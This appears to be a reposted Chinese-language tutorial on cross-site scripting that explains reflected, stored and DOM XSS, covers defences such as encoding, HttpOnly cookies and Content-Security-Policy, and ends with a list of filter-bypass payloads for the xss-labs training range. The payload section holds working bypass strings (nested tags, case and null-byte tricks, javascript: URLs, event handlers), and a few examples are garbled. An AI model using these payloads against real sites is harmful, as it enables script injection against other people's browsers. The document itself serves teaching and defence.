XSS類型,防御及常見payload構造總結


什么是XSS?

XSS全稱是Cross Site Scripting即跨站腳本,當目標網站目標用戶瀏覽器渲染HTML文檔的過程中,出現了不被預期的腳本指令並執行時,XSS就發生了。
最直接的例子:<script>alert(1)</script>

XSS分類:

反射型,存儲型,DOM XSS

  反射型:

攻擊者通過指定的方式誘惑被攻擊者訪問一個含惡意代碼的URL,當點擊鏈接時,惡意代碼在電腦上執行。
以xss-labs的Less-1為例
keyword的賦值會回顯到頁面,瀏覽器響應xss poc
因此可以構造以下語句
<script>alert('XSS')</script>
補充一:

XSS繞過 — 關於htmlspecicalchars()函數 htmlspecicalchars()函數把預定義的字符轉換為HTML實體。 預定義的字符是: &    成為        &amp " 成為 &quot ' 成為 &#039
<    成為        &It('
>    成為        &gt 可用的引號類型: ENT_COMPAT - 默認,僅編碼雙引號 ENT_QUOTES - 編碼雙引號和單引號 ENT_NOQUOTES - 不編碼任何引號
補充二:

http_only防護下的XSS http-only: 只允許http或https請求讀取cookie、JS代碼是無法讀取cookie的(document.cookie會顯示http-only的cookie項被自動過濾掉)。發送請求時自動發送cookie. secure-only: 只允許https請求讀取,發送請求時自動發送cookie。 host-only: 只允許主機域名與domain設置完成一致的網站才能訪問該cookie。

  存儲型:

存儲型的攻擊腳本被存儲到了數據庫或者文件中,服務端在讀取了存儲的內容回顯了。就是存儲型。這種情況下用戶直接打開正常的頁面就會看到被注入。
基本流程:攻擊方把惡意代碼提交到網站 ==》 網站把XSS代碼存到數據庫==》其他用戶請求頁面時,服務器把帶有惡意代碼的數據傳到客戶端==》執行代碼==》完成攻擊
常見的就是留言板XSS,用戶提交一條包含XSS代碼的留言保存到數據庫,目標查看時就會觸發以上一系列行為

  DOM XSS

基於文檔對象模型Document Objeet Model 的一種漏洞。如果DOM中的數據沒有經過嚴格的確認,就會產生DOM XSS漏洞。
eg:

<script> function test(){ var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>"; } </script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="ti jiao" onclick="test()" />

得到該頁面以后,在輸入框中輸入任意,可得到一個鏈接

“ti jiao”按鈕的onclick事件調用test()函數,在該函數中,修改了頁面DOM節點,通過innerHTML把一段用戶的輸入當做HTML寫入頁面中,造成該漏洞。
當輸入以下語句時

' onclick=alert(1) //

該部分將變為

<a href='' onclick=alert(1) //' >testLink</a>
點擊“ti jiao ”然后點擊超鏈接
則會出現

XSS防御手段

  使用xss fileter

針對用戶提交的數據進行有效的驗證,只接受我們規定的長度或內容的提交,過濾掉其他的輸入內容。比如:
  • 表單數據指定值的類型:年齡只能是 int 、name 只能是字母數字等。
  • 過濾或移除特殊的 html 標簽:<script>、<iframe>等。
  • 過濾 js 事件的標簽:onclick、onerror、onfocus等。

  html實體

顯示結果
描述
實體編號
 
空格
&nbsp ;
<
小於
&lt ;
>
大於
&gt ;
&
&amp ;
''
引號
&quot ;

  編碼轉義

  1.HTMLEncode,就是將字符轉換成HTMLEntities,一般會轉(&、<、>、"、'、/)這6個字 符。
  2.JavaScriptEncode,是使用”\“對特殊字符進行轉義。

  防御XSS的幾個函數:

setcookie,通過將參數設置為true可以使cookie不能被js獲取
htmlspecialchars()將html標簽以實體輸出
htmlentities()與上相同
escapeHTML()
strip_tags將標簽去除
對json內容的轉義escapeEmbedJSON()
自定義xss過濾器
應該關注新出現的html標簽,可能這些標簽還沒有被過濾,可能觸發xss

  X-XSS-Protection設置

目前該屬性被所有的主流瀏覽器默認開啟XSS保護。該參數是設置在響應頭中目的是用來防范XSS攻擊的。它有如下幾種配置:
值有如下幾種:默認為1.
0:禁用XSS保護。
1:啟用XSS保護。
1;mode=block; 啟用xss保護,並且在檢查到XSS攻擊是,停止渲染頁面。

  XSS 防御之 URL 編碼

作用范圍:將不可信數據作為 URL 參數值時需要對參數進行 URL 編碼
編碼規則:將參數值進行 encodeURIComponent 編碼
編碼代碼如下:

function encoding(str){ return encodeURIComponent(str); };

  XSS 防御之 CSS 編碼

作用范圍:將不可信數據作為 CSS 時進行 CSS 編碼
比如:通過css構造(background-img:url\expression\link-href@import)

<div style="background-image: url(javascript:alert('xss'));"></div>
<style>body{background-image: url("javascript:alert('xss')");}</style>
編碼規則:除了字母數字字符以外,使用\XXXXXX格式來轉義ASCII值小於256的所有字符。 編碼代碼如下:

function encoding(attr, str){ let encoded = ''; for (let i = 0; i < str.length; i++) { let ch = str.charAt(i); if (!ch.match(/[a-zA-Z0-9]/) { let hex = str.charCodeAt(i).toString(16); let pad = '000000'.substr((hex.length)); encoded += '\\' + pad + hex; } else { encoded += ch; } } return encoded; };

  XSS防御之javascript編碼

在html中還存在很多支持協議解析的html屬性,比如 onclick, onerror, href, src 等這些,類似這些屬性我們是無法通過HTML編碼來防范XSS攻擊的。因為瀏覽器會先解析html編碼的字符,將其轉換為該屬性的值,但是該屬性本身支持JS代碼執行,因此游覽器在HTML解碼后,對該屬性的值進行JS解析,因此會執行響應的代碼。
比如如下代碼是可以點擊的。

<a href="javascript:alert('xiao')" target="_blank">href xss</a>
如果我們對該進行html屬性編碼一下,還是可以點擊的,
如代碼:
<a href="javascript&#x3a;alert&#x28;&#x27;href&#x20;xss&#x20;HTML編碼無效&#x27;&#x29;" targ
頁面還是可以點擊的。

  CSP防御

Content-Security-Policy 中文的意思是 網頁安全政策
通過 Content-Security-Policy 網頁的開發者可以控制整個頁面中外部資源的加載和執行。
使用方法:
在meta屬性中設置:
<meta http-equiv="Content-Security-Policy" content="">
eg:

<meta http-equiv="Content-Security-Policy" content=" default-src http: https:  *.xiao.com 'self' 'unsafe-inline' ; style-src 'self' 'unsafe-inline' *.xxx.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' ; ">
default-src(默認設置):信任 http ,https協議資源,信任當前域名資源,信任符合*.xiao.com的域名資源

default-src 'self'; self = 端口,協議,域名相同則信任(允許)
tyle-src(CSS設置):信任當前域名資源,允許內嵌的CSS資源,信任來自*.xxx.com下的CSS資源。
script-src(js設置):信任當前域名資源,允許內嵌的JS執行,允許將字符串當作代碼執行
大致可分為以下幾類:

default-src 給下面所有的規則設定一個默認值 script-src 外部腳本 style-src 樣式表 img-src 圖像 media-src 媒體文件(音頻和視頻) font-src 字體文件 object-src 插件(比如 Flash) child-src 框架 frame-ancestors 嵌入的外部資源(比如、<iframe>、和) connect-src HTTP 連接(通過 XHR、WebSockets、EventSource等) worker-src worker腳本 manifest-src manifest 文件 CSP2規范中: child-src 有效的 web workers 和 元素來源,如 <frame> 和 <iframe> (這個指令用來替代 CSP 1 中廢棄了的 frame-src 指令) form-action 可以作為 HTML <form> 的 action 的有效來源 frame-ancestors 使用 <frame>,<iframe>,<object>,<embed> 或 <applet> 內嵌資源的有效來源 upgrade-insecure-requests 命令用戶代理來重寫 URL 協議,將 HTTP 改到 HTTPS (為一些需要重寫大量陳舊 URL 的網站提供了方便)。 同時 CSP 2 允許你添加路徑到白名單中(CSP 1 只允許域名被添加到白名單中)。

常見payload構造

(主要依據xss-labs靶場進行構造)

  對script標簽進行一次移除操作(嵌套欺騙):

<scr<script>ipt>alert('xss')</scr<script>ipt>
script 標簽可以用於定義一個行內的腳本或者從其他地方加載腳本:

<script>alert("XSS")</script>
<script src="http://baidu.com"></script>

  屬性內輸出閉合標簽

"><script>alert('xss')</script>

  javascript事件

例如點擊,頁面加載,移動鼠標等
< onfocus=javascript:alert('XSS') >
<div οnmοuseenter="alert('xss')">

  iframe標簽

<iframe src="javascript:alert(1)">

  action

<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>

  大小寫繞過

<sCRipt>alert(1)</sCript>

  雙寫繞過

<sscriptcript>alert('XSS')</sscriptcript>

  編碼繞過/特殊字符繞過

利用href屬性引號中的內容可以使用空字符,空格,tab換行,注釋,特殊的函數將代碼隔開
javascrip%0at:alert('xss') //%0a(換行符)將代碼隔開
javascrip%0at:alert('xss')<!--http://-->
javascrip%0at:alert('xss')//http:// javascrip%0at:alert('xss')/*http://*/
//3-5為注釋繞過

  angular.min.js javascript框架

補充: ng-include可以包含一個html文件(但不限於html文件), 但只是加載一個靜態頁面顯示在前端,不會加載里面的js, 使用時要在文件名要用單引號包起來,

  空字節

最長用來繞過mod_security防火牆,形式如下: <scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

  src屬性

<img src=x      οnerrοr=prompt(1);>

參考:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM